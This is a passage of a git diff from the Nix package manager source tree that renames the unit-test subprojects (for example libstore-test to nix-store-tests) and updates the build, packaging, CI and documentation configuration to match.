+            ''^src/nix-store-tests/common-protocol\.cc''
+            ''^src/nix-store-tests/content-address\.cc''
+            ''^src/nix-store-tests/derivation\.cc''
+            ''^src/nix-store-tests/derived-path\.cc''
+            ''^src/nix-store-tests/downstream-placeholder\.cc''
+            ''^src/nix-store-tests/machines\.cc''
+            ''^src/nix-store-tests/nar-info-disk-cache\.cc''
+            ''^src/nix-store-tests/nar-info\.cc''
+            ''^src/nix-store-tests/outputs-spec\.cc''
+            ''^src/nix-store-tests/path-info\.cc''
+            ''^src/nix-store-tests/path\.cc''
+            ''^src/nix-store-tests/serve-protocol\.cc''
+            ''^src/nix-store-tests/worker-protocol\.cc''
+            ''^src/nix-util-test-support/tests/characterization\.hh''
+            ''^src/nix-util-test-support/tests/hash\.cc''
+            ''^src/nix-util-test-support/tests/hash\.hh''
+            ''^src/nix-util-tests/args\.cc''
+            ''^src/nix-util-tests/canon-path\.cc''
+            ''^src/nix-util-tests/chunked-vector\.cc''
+            ''^src/nix-util-tests/closure\.cc''
+            ''^src/nix-util-tests/compression\.cc''
+            ''^src/nix-util-tests/config\.cc''
+            ''^src/nix-util-tests/file-content-address\.cc''
+            ''^src/nix-util-tests/git\.cc''
+            ''^src/nix-util-tests/hash\.cc''
+            ''^src/nix-util-tests/hilite\.cc''
+            ''^src/nix-util-tests/json-utils\.cc''
+            ''^src/nix-util-tests/logging\.cc''
+            ''^src/nix-util-tests/lru-cache\.cc''
+            ''^src/nix-util-tests/pool\.cc''
+            ''^src/nix-util-tests/references\.cc''
+            ''^src/nix-util-tests/suggestions\.cc''
+            ''^src/nix-util-tests/tests\.cc''
+            ''^src/nix-util-tests/url\.cc''
+            ''^src/nix-util-tests/xml-writer\.cc''
           ];
         };
         shellcheck = {
@@ -666,7 +666,7 @@
             ''^tests/functional/user-envs\.sh$''
             ''^tests/functional/why-depends\.sh$''
             ''^tests/functional/zstd\.sh$''
-            ''^src/libutil-test/data/git/check-data\.sh$''
+            ''^src/nix-util-tests/data/git/check-data\.sh$''
           ];
         };
         # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
diff --git a/meson.build b/meson.build
index fb38d7ef297..1690bb50add 100644
--- a/meson.build
+++ b/meson.build
@@ -25,11 +25,11 @@ subproject('libexpr-c')
 subproject('perl')
 
 # Testing
-subproject('libutil-test-support')
-subproject('libutil-test')
-subproject('libstore-test-support')
-subproject('libstore-test')
-subproject('libfetchers-test')
-subproject('libexpr-test-support')
-subproject('libexpr-test')
-subproject('libflake-test')
+subproject('nix-util-test-support')
+subproject('nix-util-tests')
+subproject('nix-store-test-support')
+subproject('nix-store-tests')
+subproject('nix-fetchers-tests')
+subproject('nix-expr-test-support')
+subproject('nix-expr-tests')
+subproject('nix-flake-tests')
diff --git a/packaging/components.nix b/packaging/components.nix
index 73f0d24e17f..db50d6b228f 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -9,24 +9,24 @@ in
 
   nix-util = callPackage ../src/libutil/package.nix { };
   nix-util-c = callPackage ../src/libutil-c/package.nix { };
-  nix-util-test-support = callPackage ../src/libutil-test-support/package.nix { };
-  nix-util-test = callPackage ../src/libutil-test/package.nix { };
+  nix-util-test-support = callPackage ../src/nix-util-test-support/package.nix { };
+  nix-util-tests = callPackage ../src/nix-util-tests/package.nix { };
 
   nix-store = callPackage ../src/libstore/package.nix { };
   nix-store-c = callPackage ../src/libstore-c/package.nix { };
-  nix-store-test-support = callPackage ../src/libstore-test-support/package.nix { };
-  nix-store-test = callPackage ../src/libstore-test/package.nix { };
+  nix-store-test-support = callPackage ../src/nix-store-test-support/package.nix { };
+  nix-store-tests = callPackage ../src/nix-store-tests/package.nix { };
 
   nix-fetchers = callPackage ../src/libfetchers/package.nix { };
-  nix-fetchers-test = callPackage ../src/libfetchers-test/package.nix { };
+  nix-fetchers-tests = callPackage ../src/nix-fetchers-tests/package.nix { };
 
   nix-expr = callPackage ../src/libexpr/package.nix { };
   nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
-  nix-expr-test-support = callPackage ../src/libexpr-test-support/package.nix { };
-  nix-expr-test = callPackage ../src/libexpr-test/package.nix { };
+  nix-expr-test-support = callPackage ../src/nix-expr-test-support/package.nix { };
+  nix-expr-tests = callPackage ../src/nix-expr-tests/package.nix { };
 
   nix-flake = callPackage ../src/libflake/package.nix { };
-  nix-flake-test = callPackage ../src/libflake-test/package.nix { };
+  nix-flake-tests = callPackage ../src/nix-flake-tests/package.nix { };
 
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index 244a4ad3f3f..97f2c59b777 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -38,19 +38,19 @@ let
     "nix-util"
     "nix-util-c"
     "nix-util-test-support"
-    "nix-util-test"
+    "nix-util-tests"
     "nix-store"
     "nix-store-c"
     "nix-store-test-support"
-    "nix-store-test"
+    "nix-store-tests"
     "nix-fetchers"
-    "nix-fetchers-test"
+    "nix-fetchers-tests"
     "nix-expr"
     "nix-expr-c"
     "nix-expr-test-support"
-    "nix-expr-test"
+    "nix-expr-tests"
     "nix-flake"
-    "nix-flake-test"
+    "nix-flake-tests"
   ];
 in
 {
diff --git a/src/internal-api-docs/doxygen.cfg.in b/src/internal-api-docs/doxygen.cfg.in
index 395e43fe188..f1ef75b380d 100644
--- a/src/internal-api-docs/doxygen.cfg.in
+++ b/src/internal-api-docs/doxygen.cfg.in
@@ -41,21 +41,21 @@ INPUT                  = \
   @src@/libcmd \
   @src@/libexpr \
   @src@/libexpr/flake \
-  @src@/libexpr-test \
-  @src@/libexpr-test/value \
-  @src@/libexpr-test-support/test \
-  @src@/libexpr-test-support/test/value \
+  @src@/nix-expr-tests \
+  @src@/nix-expr-tests/value \
+  @src@/nix-expr-test-support/test \
+  @src@/nix-expr-test-support/test/value \
   @src@/libexpr/value \
   @src@/libfetchers \
   @src@/libmain \
   @src@/libstore \
   @src@/libstore/build \
   @src@/libstore/builtins \
-  @src@/libstore-test \
-  @src@/libstore-test-support/test \
+  @src@/nix-store-tests \
+  @src@/nix-store-test-support/test \
   @src@/libutil \
-  @src@/libutil-test \
-  @src@/libutil-test-support/test \
+  @src@/nix-util-tests \
+  @src@/nix-util-test-support/test \
   @src@/nix \
   @src@/nix-env \
   @src@/nix-store
diff --git a/src/libexpr-test-support/.version b/src/nix-expr-test-support/.version
similarity index 100%
rename from src/libexpr-test-support/.version
rename to src/nix-expr-test-support/.version
diff --git a/src/libexpr-test-support/build-utils-meson b/src/nix-expr-test-support/build-utils-meson
similarity index 100%
rename from src/libexpr-test-support/build-utils-meson
rename to src/nix-expr-test-support/build-utils-meson
diff --git a/src/libexpr-test-support/meson.build b/src/nix-expr-test-support/meson.build
similarity index 100%
rename from src/libexpr-test-support/meson.build
rename to src/nix-expr-test-support/meson.build
diff --git a/src/libexpr-test-support/package.nix b/src/nix-expr-test-support/package.nix
similarity index 100%
rename from src/libexpr-test-support/package.nix
rename to src/nix-expr-test-support/package.nix
diff --git a/src/libexpr-test-support/tests/libexpr.hh b/src/nix-expr-test-support/tests/libexpr.hh
similarity index 100%
rename from src/libexpr-test-support/tests/libexpr.hh
rename to src/nix-expr-test-support/tests/libexpr.hh
diff --git a/src/libexpr-test-support/tests/nix_api_expr.hh b/src/nix-expr-test-support/tests/nix_api_expr.hh
similarity index 100%
rename from src/libexpr-test-support/tests/nix_api_expr.hh
rename to src/nix-expr-test-support/tests/nix_api_expr.hh
diff --git a/src/libexpr-test-support/tests/value/context.cc b/src/nix-expr-test-support/tests/value/context.cc
similarity index 100%
rename from src/libexpr-test-support/tests/value/context.cc
rename to src/nix-expr-test-support/tests/value/context.cc
diff --git a/src/libexpr-test-support/tests/value/context.hh b/src/nix-expr-test-support/tests/value/context.hh
similarity index 100%
rename from src/libexpr-test-support/tests/value/context.hh
rename to src/nix-expr-test-support/tests/value/context.hh
diff --git a/src/libexpr-test/.version b/src/nix-expr-tests/.version
similarity index 100%
rename from src/libexpr-test/.version
rename to src/nix-expr-tests/.version
diff --git a/src/libexpr-test/build-utils-meson b/src/nix-expr-tests/build-utils-meson
similarity index 100%
rename from src/libexpr-test/build-utils-meson
rename to src/nix-expr-tests/build-utils-meson
diff --git a/src/libexpr-test/data/.gitkeep b/src/nix-expr-tests/data/.gitkeep
similarity index 100%
rename from src/libexpr-test/data/.gitkeep
rename to src/nix-expr-tests/data/.gitkeep
diff --git a/src/libexpr-test/derived-path.cc b/src/nix-expr-tests/derived-path.cc
similarity index 100%
rename from src/libexpr-test/derived-path.cc
rename to src/nix-expr-tests/derived-path.cc
diff --git a/src/libexpr-test/error_traces.cc b/src/nix-expr-tests/error_traces.cc
similarity index 100%
rename from src/libexpr-test/error_traces.cc
rename to src/nix-expr-tests/error_traces.cc
diff --git a/src/libexpr-test/eval.cc b/src/nix-expr-tests/eval.cc
similarity index 100%
rename from src/libexpr-test/eval.cc
rename to src/nix-expr-tests/eval.cc
diff --git a/src/libexpr-test/json.cc b/src/nix-expr-tests/json.cc
similarity index 100%
rename from src/libexpr-test/json.cc
rename to src/nix-expr-tests/json.cc
diff --git a/src/libexpr-test/main.cc b/src/nix-expr-tests/main.cc
similarity index 100%
rename from src/libexpr-test/main.cc
rename to src/nix-expr-tests/main.cc
diff --git a/src/libexpr-test/meson.build b/src/nix-expr-tests/meson.build
similarity index 98%
rename from src/libexpr-test/meson.build
rename to src/nix-expr-tests/meson.build
index 04b60f6d61b..04b5ae66fe2 100644
--- a/src/libexpr-test/meson.build
+++ b/src/nix-expr-tests/meson.build
@@ -1,4 +1,4 @@
-project('nix-expr-test', 'cpp',
+project('nix-expr-tests', 'cpp',
   version : files('.version'),
   default_options : [
     'cpp_std=c++2a',
diff --git a/src/libexpr-test/nix_api_expr.cc b/src/nix-expr-tests/nix_api_expr.cc
similarity index 100%
rename from src/libexpr-test/nix_api_expr.cc
rename to src/nix-expr-tests/nix_api_expr.cc
diff --git a/src/libexpr-test/nix_api_external.cc b/src/nix-expr-tests/nix_api_external.cc
similarity index 100%
rename from src/libexpr-test/nix_api_external.cc
rename to src/nix-expr-tests/nix_api_external.cc
diff --git a/src/libexpr-test/nix_api_value.cc b/src/nix-expr-tests/nix_api_value.cc
similarity index 100%
rename from src/libexpr-test/nix_api_value.cc
rename to src/nix-expr-tests/nix_api_value.cc
diff --git a/src/libexpr-test/package.nix b/src/nix-expr-tests/package.nix
similarity index 97%
rename from src/libexpr-test/package.nix
rename to src/nix-expr-tests/package.nix
index 12f4dd5068f..679b6fb2ab2 100644
--- a/src/libexpr-test/package.nix
+++ b/src/nix-expr-tests/package.nix
@@ -39,7 +39,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-expr-test";
+  pname = "nix-expr-tests";
   inherit version;
 
   src = fileset.toSource {
@@ -98,7 +98,7 @@ mkDerivation (finalAttrs: {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
         export _NIX_TEST_UNIT_DATA=${./data}
-        nix-expr-test
+        nix-expr-tests
         touch $out
       '';
     };
diff --git a/src/libexpr-test/primops.cc b/src/nix-expr-tests/primops.cc
similarity index 100%
rename from src/libexpr-test/primops.cc
rename to src/nix-expr-tests/primops.cc
diff --git a/src/libexpr-test/search-path.cc b/src/nix-expr-tests/search-path.cc
similarity index 100%
rename from src/libexpr-test/search-path.cc
rename to src/nix-expr-tests/search-path.cc
diff --git a/src/libexpr-test/trivial.cc b/src/nix-expr-tests/trivial.cc
similarity index 100%
rename from src/libexpr-test/trivial.cc
rename to src/nix-expr-tests/trivial.cc
diff --git a/src/libexpr-test/value/context.cc b/src/nix-expr-tests/value/context.cc
similarity index 100%
rename from src/libexpr-test/value/context.cc
rename to src/nix-expr-tests/value/context.cc
diff --git a/src/libexpr-test/value/print.cc b/src/nix-expr-tests/value/print.cc
similarity index 100%
rename from src/libexpr-test/value/print.cc
rename to src/nix-expr-tests/value/print.cc
diff --git a/src/libexpr-test/value/value.cc b/src/nix-expr-tests/value/value.cc
similarity index 100%
rename from src/libexpr-test/value/value.cc
rename to src/nix-expr-tests/value/value.cc
diff --git a/src/libfetchers-test/.version b/src/nix-fetchers-tests/.version
similarity index 100%
rename from src/libfetchers-test/.version
rename to src/nix-fetchers-tests/.version
diff --git a/src/libfetchers-test/build-utils-meson b/src/nix-fetchers-tests/build-utils-meson
similarity index 100%
rename from src/libfetchers-test/build-utils-meson
rename to src/nix-fetchers-tests/build-utils-meson
diff --git a/src/libfetchers-test/data/public-key/defaultType.json b/src/nix-fetchers-tests/data/public-key/defaultType.json
similarity index 100%
rename from src/libfetchers-test/data/public-key/defaultType.json
rename to src/nix-fetchers-tests/data/public-key/defaultType.json
diff --git a/src/libfetchers-test/data/public-key/noRoundTrip.json b/src/nix-fetchers-tests/data/public-key/noRoundTrip.json
similarity index 100%
rename from src/libfetchers-test/data/public-key/noRoundTrip.json
rename to src/nix-fetchers-tests/data/public-key/noRoundTrip.json
diff --git a/src/libfetchers-test/data/public-key/simple.json b/src/nix-fetchers-tests/data/public-key/simple.json
similarity index 100%
rename from src/libfetchers-test/data/public-key/simple.json
rename to src/nix-fetchers-tests/data/public-key/simple.json
diff --git a/src/libfetchers-test/meson.build b/src/nix-fetchers-tests/meson.build
similarity index 97%
rename from src/libfetchers-test/meson.build
rename to src/nix-fetchers-tests/meson.build
index 785754b3473..c4f18e2785f 100644
--- a/src/libfetchers-test/meson.build
+++ b/src/nix-fetchers-tests/meson.build
@@ -1,4 +1,4 @@
-project('nix-fetchers-test', 'cpp',
+project('nix-fetchers-tests', 'cpp',
   version : files('.version'),
   default_options : [
     'cpp_std=c++2a',
diff --git a/src/libfetchers-test/package.nix b/src/nix-fetchers-tests/package.nix
similarity index 97%
rename from src/libfetchers-test/package.nix
rename to src/nix-fetchers-tests/package.nix
index 78d8ab490be..5cf18ce33c3 100644
--- a/src/libfetchers-test/package.nix
+++ b/src/nix-fetchers-tests/package.nix
@@ -38,7 +38,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-fetchers-test";
+  pname = "nix-fetchers-tests";
   inherit version;
 
   src = fileset.toSource {
@@ -96,7 +96,7 @@ mkDerivation (finalAttrs: {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
         export _NIX_TEST_UNIT_DATA=${./data}
-        nix-fetchers-test
+        nix-fetchers-tests
         touch $out
       '';
     };
diff --git a/src/libfetchers-test/public-key.cc b/src/nix-fetchers-tests/public-key.cc
similarity index 100%
rename from src/libfetchers-test/public-key.cc
rename to src/nix-fetchers-tests/public-key.cc
diff --git a/src/libflake-test/.version b/src/nix-flake-tests/.version
similarity index 100%
rename from src/libflake-test/.version
rename to src/nix-flake-tests/.version
diff --git a/src/libflake-test/build-utils-meson b/src/nix-flake-tests/build-utils-meson
similarity index 100%
rename from src/libflake-test/build-utils-meson
rename to src/nix-flake-tests/build-utils-meson
diff --git a/src/libflake-test/data/.gitkeep b/src/nix-flake-tests/data/.gitkeep
similarity index 100%
rename from src/libflake-test/data/.gitkeep
rename to src/nix-flake-tests/data/.gitkeep
diff --git a/src/libflake-test/flakeref.cc b/src/nix-flake-tests/flakeref.cc
similarity index 100%
rename from src/libflake-test/flakeref.cc
rename to src/nix-flake-tests/flakeref.cc
diff --git a/src/libflake-test/meson.build b/src/nix-flake-tests/meson.build
similarity index 97%
rename from src/libflake-test/meson.build
rename to src/nix-flake-tests/meson.build
index b8221b2ad15..5afba2fecc1 100644
--- a/src/libflake-test/meson.build
+++ b/src/nix-flake-tests/meson.build
@@ -1,4 +1,4 @@
-project('nix-flake-test', 'cpp',
+project('nix-flake-tests', 'cpp',
   version : files('.version'),
   default_options : [
     'cpp_std=c++2a',
diff --git a/src/libflake-test/package.nix b/src/nix-flake-tests/package.nix
similarity index 97%
rename from src/libflake-test/package.nix
rename to src/nix-flake-tests/package.nix
index 4fb190706bd..21af753ae02 100644
--- a/src/libflake-test/package.nix
+++ b/src/nix-flake-tests/package.nix
@@ -38,7 +38,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-flake-test";
+  pname = "nix-flake-tests";
   inherit version;
 
   src = fileset.toSource {
@@ -96,7 +96,7 @@ mkDerivation (finalAttrs: {
       } ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
         export _NIX_TEST_UNIT_DATA=${./data}
-        nix-flake-test
+        nix-flake-tests
         touch $out
       '';
     };
diff --git a/src/libflake-test/url-name.cc b/src/nix-flake-tests/url-name.cc
similarity index 100%
rename from src/libflake-test/url-name.cc
rename to src/nix-flake-tests/url-name.cc
diff --git a/src/libstore-test-support/.version b/src/nix-store-test-support/.version
similarity index 100%
rename from src/libstore-test-support/.version
rename to src/nix-store-test-support/.version
diff --git a/src/libstore-test-support/build-utils-meson b/src/nix-store-test-support/build-utils-meson
similarity index 100%
rename from src/libstore-test-support/build-utils-meson
rename to src/nix-store-test-support/build-utils-meson
diff --git a/src/libstore-test-support/meson.build b/src/nix-store-test-support/meson.build
similarity index 100%
rename from src/libstore-test-support/meson.build
rename to src/nix-store-test-support/meson.build
diff --git a/src/libstore-test-support/package.nix b/src/nix-store-test-support/package.nix
similarity index 100%
rename from src/libstore-test-support/package.nix
rename to src/nix-store-test-support/package.nix
diff --git a/src/libstore-test-support/tests/derived-path.cc b/src/nix-store-test-support/tests/derived-path.cc
similarity index 100%
rename from src/libstore-test-support/tests/derived-path.cc
rename to src/nix-store-test-support/tests/derived-path.cc
diff --git a/src/libstore-test-support/tests/derived-path.hh b/src/nix-store-test-support/tests/derived-path.hh
similarity index 100%
rename from src/libstore-test-support/tests/derived-path.hh
rename to src/nix-store-test-support/tests/derived-path.hh
diff --git a/src/libstore-test-support/tests/libstore.hh b/src/nix-store-test-support/tests/libstore.hh
similarity index 100%
rename from src/libstore-test-support/tests/libstore.hh
rename to src/nix-store-test-support/tests/libstore.hh
diff --git a/src/libstore-test-support/tests/nix_api_store.hh b/src/nix-store-test-support/tests/nix_api_store.hh
similarity index 100%
rename from src/libstore-test-support/tests/nix_api_store.hh
rename to src/nix-store-test-support/tests/nix_api_store.hh
diff --git a/src/libstore-test-support/tests/outputs-spec.cc b/src/nix-store-test-support/tests/outputs-spec.cc
similarity index 100%
rename from src/libstore-test-support/tests/outputs-spec.cc
rename to src/nix-store-test-support/tests/outputs-spec.cc
diff --git a/src/libstore-test-support/tests/outputs-spec.hh b/src/nix-store-test-support/tests/outputs-spec.hh
similarity index 100%
rename from src/libstore-test-support/tests/outputs-spec.hh
rename to src/nix-store-test-support/tests/outputs-spec.hh
diff --git a/src/libstore-test-support/tests/path.cc b/src/nix-store-test-support/tests/path.cc
similarity index 100%
rename from src/libstore-test-support/tests/path.cc
rename to src/nix-store-test-support/tests/path.cc
diff --git a/src/libstore-test-support/tests/path.hh b/src/nix-store-test-support/tests/path.hh
similarity index 100%
rename from src/libstore-test-support/tests/path.hh
rename to src/nix-store-test-support/tests/path.hh
diff --git a/src/libstore-test-support/tests/protocol.hh b/src/nix-store-test-support/tests/protocol.hh
similarity index 100%
rename from src/libstore-test-support/tests/protocol.hh
rename to src/nix-store-test-support/tests/protocol.hh
diff --git a/src/libstore-test/.version b/src/nix-store-tests/.version
similarity index 100%
rename from src/libstore-test/.version
rename to src/nix-store-tests/.version
diff --git a/src/libstore-test/build-utils-meson b/src/nix-store-tests/build-utils-meson
similarity index 100%
rename from src/libstore-test/build-utils-meson
rename to src/nix-store-tests/build-utils-meson
diff --git a/src/libstore-test/common-protocol.cc b/src/nix-store-tests/common-protocol.cc
similarity index 100%
rename from src/libstore-test/common-protocol.cc
rename to src/nix-store-tests/common-protocol.cc
diff --git a/src/libstore-test/content-address.cc b/src/nix-store-tests/content-address.cc
similarity index 100%
rename from src/libstore-test/content-address.cc
rename to src/nix-store-tests/content-address.cc
diff --git a/src/libstore-test/data/common-protocol/content-address.bin b/src/nix-store-tests/data/common-protocol/content-address.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/content-address.bin
rename to src/nix-store-tests/data/common-protocol/content-address.bin
diff --git a/src/libstore-test/data/common-protocol/drv-output.bin b/src/nix-store-tests/data/common-protocol/drv-output.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/drv-output.bin
rename to src/nix-store-tests/data/common-protocol/drv-output.bin
diff --git a/src/libstore-test/data/common-protocol/optional-content-address.bin b/src/nix-store-tests/data/common-protocol/optional-content-address.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/optional-content-address.bin
rename to src/nix-store-tests/data/common-protocol/optional-content-address.bin
diff --git a/src/libstore-test/data/common-protocol/optional-store-path.bin b/src/nix-store-tests/data/common-protocol/optional-store-path.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/optional-store-path.bin
rename to src/nix-store-tests/data/common-protocol/optional-store-path.bin
diff --git a/src/libstore-test/data/common-protocol/realisation.bin b/src/nix-store-tests/data/common-protocol/realisation.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/realisation.bin
rename to src/nix-store-tests/data/common-protocol/realisation.bin
diff --git a/src/libstore-test/data/common-protocol/set.bin b/src/nix-store-tests/data/common-protocol/set.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/set.bin
rename to src/nix-store-tests/data/common-protocol/set.bin
diff --git a/src/libstore-test/data/common-protocol/store-path.bin b/src/nix-store-tests/data/common-protocol/store-path.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/store-path.bin
rename to src/nix-store-tests/data/common-protocol/store-path.bin
diff --git a/src/libstore-test/data/common-protocol/string.bin b/src/nix-store-tests/data/common-protocol/string.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/string.bin
rename to src/nix-store-tests/data/common-protocol/string.bin
diff --git a/src/libstore-test/data/common-protocol/vector.bin b/src/nix-store-tests/data/common-protocol/vector.bin
similarity index 100%
rename from src/libstore-test/data/common-protocol/vector.bin
rename to src/nix-store-tests/data/common-protocol/vector.bin
diff --git a/src/libstore-test/data/derivation/advanced-attributes-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes-defaults.drv
rename to src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
diff --git a/src/libstore-test/data/derivation/advanced-attributes-defaults.json b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.json
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes-defaults.json
rename to src/nix-store-tests/data/derivation/advanced-attributes-defaults.json
diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.drv
rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs-defaults.json
rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json
diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs.drv
rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
diff --git a/src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes-structured-attrs.json
rename to src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json
diff --git a/src/libstore-test/data/derivation/advanced-attributes.drv b/src/nix-store-tests/data/derivation/advanced-attributes.drv
similarity index 100%
rename from src/libstore-test/data/derivation/advanced-attributes.drv
rename to src/nix-store-tests/data/derivation/advanced-attributes.drv
diff --git a/src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv b/src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv
similarity index 100%
rename from src/libstore-test/data/derivation/bad-old-version-dyn-deps.drv
rename to src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv
diff --git a/src/libstore-test/data/derivation/bad-version.drv b/src/nix-store-tests/data/derivation/bad-version.drv
similarity index 100%
rename from src/libstore-test/data/derivation/bad-version.drv
rename to src/nix-store-tests/data/derivation/bad-version.drv
diff --git a/src/libstore-test/data/derivation/dynDerivationDeps.drv b/src/nix-store-tests/data/derivation/dynDerivationDeps.drv
similarity index 100%
rename from src/libstore-test/data/derivation/dynDerivationDeps.drv
rename to src/nix-store-tests/data/derivation/dynDerivationDeps.drv
diff --git a/src/libstore-test/data/derivation/dynDerivationDeps.json b/src/nix-store-tests/data/derivation/dynDerivationDeps.json
similarity index 100%
rename from src/libstore-test/data/derivation/dynDerivationDeps.json
rename to src/nix-store-tests/data/derivation/dynDerivationDeps.json
diff --git a/src/libstore-test/data/derivation/output-caFixedFlat.json b/src/nix-store-tests/data/derivation/output-caFixedFlat.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-caFixedFlat.json
rename to src/nix-store-tests/data/derivation/output-caFixedFlat.json
diff --git a/src/libstore-test/data/derivation/output-caFixedNAR.json b/src/nix-store-tests/data/derivation/output-caFixedNAR.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-caFixedNAR.json
rename to src/nix-store-tests/data/derivation/output-caFixedNAR.json
diff --git a/src/libstore-test/data/derivation/output-caFixedText.json b/src/nix-store-tests/data/derivation/output-caFixedText.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-caFixedText.json
rename to src/nix-store-tests/data/derivation/output-caFixedText.json
diff --git a/src/libstore-test/data/derivation/output-caFloating.json b/src/nix-store-tests/data/derivation/output-caFloating.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-caFloating.json
rename to src/nix-store-tests/data/derivation/output-caFloating.json
diff --git a/src/libstore-test/data/derivation/output-deferred.json b/src/nix-store-tests/data/derivation/output-deferred.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-deferred.json
rename to src/nix-store-tests/data/derivation/output-deferred.json
diff --git a/src/libstore-test/data/derivation/output-impure.json b/src/nix-store-tests/data/derivation/output-impure.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-impure.json
rename to src/nix-store-tests/data/derivation/output-impure.json
diff --git a/src/libstore-test/data/derivation/output-inputAddressed.json b/src/nix-store-tests/data/derivation/output-inputAddressed.json
similarity index 100%
rename from src/libstore-test/data/derivation/output-inputAddressed.json
rename to src/nix-store-tests/data/derivation/output-inputAddressed.json
diff --git a/src/libstore-test/data/derivation/simple.drv b/src/nix-store-tests/data/derivation/simple.drv
similarity index 100%
rename from src/libstore-test/data/derivation/simple.drv
rename to src/nix-store-tests/data/derivation/simple.drv
diff --git a/src/libstore-test/data/derivation/simple.json b/src/nix-store-tests/data/derivation/simple.json
similarity index 100%
rename from src/libstore-test/data/derivation/simple.json
rename to src/nix-store-tests/data/derivation/simple.json
diff --git a/src/libstore-test/data/machines/bad_format b/src/nix-store-tests/data/machines/bad_format
similarity index 100%
rename from src/libstore-test/data/machines/bad_format
rename to src/nix-store-tests/data/machines/bad_format
diff --git a/src/libstore-test/data/machines/valid b/src/nix-store-tests/data/machines/valid
similarity index 100%
rename from src/libstore-test/data/machines/valid
rename to src/nix-store-tests/data/machines/valid
diff --git a/src/libstore-test/data/nar-info/impure.json b/src/nix-store-tests/data/nar-info/impure.json
similarity index 100%
rename from src/libstore-test/data/nar-info/impure.json
rename to src/nix-store-tests/data/nar-info/impure.json
diff --git a/src/libstore-test/data/nar-info/pure.json b/src/nix-store-tests/data/nar-info/pure.json
similarity index 100%
rename from src/libstore-test/data/nar-info/pure.json
rename to src/nix-store-tests/data/nar-info/pure.json
diff --git a/src/libstore-test/data/path-info/empty_impure.json b/src/nix-store-tests/data/path-info/empty_impure.json
similarity index 100%
rename from src/libstore-test/data/path-info/empty_impure.json
rename to src/nix-store-tests/data/path-info/empty_impure.json
diff --git a/src/libstore-test/data/path-info/empty_pure.json b/src/nix-store-tests/data/path-info/empty_pure.json
similarity index 100%
rename from src/libstore-test/data/path-info/empty_pure.json
rename to src/nix-store-tests/data/path-info/empty_pure.json
diff --git a/src/libstore-test/data/path-info/impure.json b/src/nix-store-tests/data/path-info/impure.json
similarity index 100%
rename from src/libstore-test/data/path-info/impure.json
rename to src/nix-store-tests/data/path-info/impure.json
diff --git a/src/libstore-test/data/path-info/pure.json b/src/nix-store-tests/data/path-info/pure.json
similarity index 100%
rename from src/libstore-test/data/path-info/pure.json
rename to src/nix-store-tests/data/path-info/pure.json
diff --git a/src/libstore-test/data/serve-protocol/build-options-2.1.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.1.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-options-2.1.bin
rename to src/nix-store-tests/data/serve-protocol/build-options-2.1.bin
diff --git a/src/libstore-test/data/serve-protocol/build-options-2.2.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.2.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-options-2.2.bin
rename to src/nix-store-tests/data/serve-protocol/build-options-2.2.bin
diff --git a/src/libstore-test/data/serve-protocol/build-options-2.3.bin b/src/nix-store-tests/data/serve-protocol/build-options-2.3.bin
similarity index 100%
rename from src/libstore-test/data/serve-protocol/build-options-2.3.bin
rename to src/nix-store-tests/data/serve-protocol/build-options-2.3.bin
